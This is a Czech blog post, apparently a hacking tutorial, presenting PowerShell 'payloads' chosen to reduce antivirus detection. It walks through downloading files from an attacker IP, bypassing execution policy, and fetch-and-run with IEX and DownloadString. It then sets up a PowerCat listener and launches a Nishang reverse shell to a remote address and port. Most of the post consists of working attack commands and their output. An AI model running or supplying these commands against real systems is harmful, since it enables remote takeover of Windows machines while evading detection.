Přeskočit na hlavní obsah

PowerShell jednoduché a užitečné payloady

 

PowerShell jednoduché a užitečné payloady

Někdy může být výhodné při hackingu v prostředí MS Windows využít powershell. PowerShell je efektivní skriptovací jazyk a jeho použití snižuje pravděpodobnost detekce payloadu antivirem.

 

Začneme tím nejjednodušším. Otestujeme, jestli je PowerShell k dispozici.

PowerShell -Command "Write-Host 'Hello World'"

 


Při pohybu po cílovém systému nejčastěji potřebujeme stáhnout soubor, otevřít port, připojit reverzní shell, spustit proces.

Elegantní stažení souboru můžeme provést pomocí PowerShell Wget. Je to ve skutečnosti alias Invoke-WebRequest. Na některý starších systémech to nemusí fungovat.

PowerShell -c wget "http://10.10.33.244:8080/Hello-World.ps1" -outfile "Hello-World.ps1"

PowerShell -ExecutionPolicy Bypass -File Hello-World.ps1

 


Stává se, že potřebujeme soubor stáhnout a hned spustit. Nejprve upravíme náš skript a kód obalíme funkcí.

function Hello-World-2

{

Write-Host 'Hello, World!'

}

Pak už můžeme spustit:

C:\Users\WDAGUtilityAccount>powershell "IEX(New-Object Net.WebClient).DownloadString('http://10.10.33.244:8080/Hello-World-2.ps1');Hello-World-2"

 

A teď když jsme si ukázali základní principy, už může jít k něčemu zajímavějšímu. Na GitHubu můžeme najít spoustu užitečných skriptu. My se podíváme na framework Nishang a použijeme reverzní shell. Ještě předtím, ale musíme připravit obsluhu připojení tzv. handler nebo jednoduchý C&C seerver. Klasika je NetCat, a když už jsme v Powershelu tak použijeme modifikaci PowerCat.

Spuštění handleru - PowerCat


 

PowerShell -c wget "https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1” -outfile powercat.ps1

C:\Users\WDAGUtilityAccount>powershell -ep bypass

Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

 

Try the new cross-platform PowerShell https://aka.ms/pscore6

 

PS C:\Users\WDAGUtilityAccount> . .\powercat.ps1

PS C:\Users\WDAGUtilityAccount> powercat -l -p 2323 -t 3600

 


Nyní je handler připraven a připojíme reverzní shell

C:\>powershell "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.27.129.121 -Port 2323"

 


A voila máme připojenou session přes reverzní shell

 


Linky

https://github.com/samratashok/nishang

https://github.com/besimorhino/powercat

https://docs.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.2

Komentáře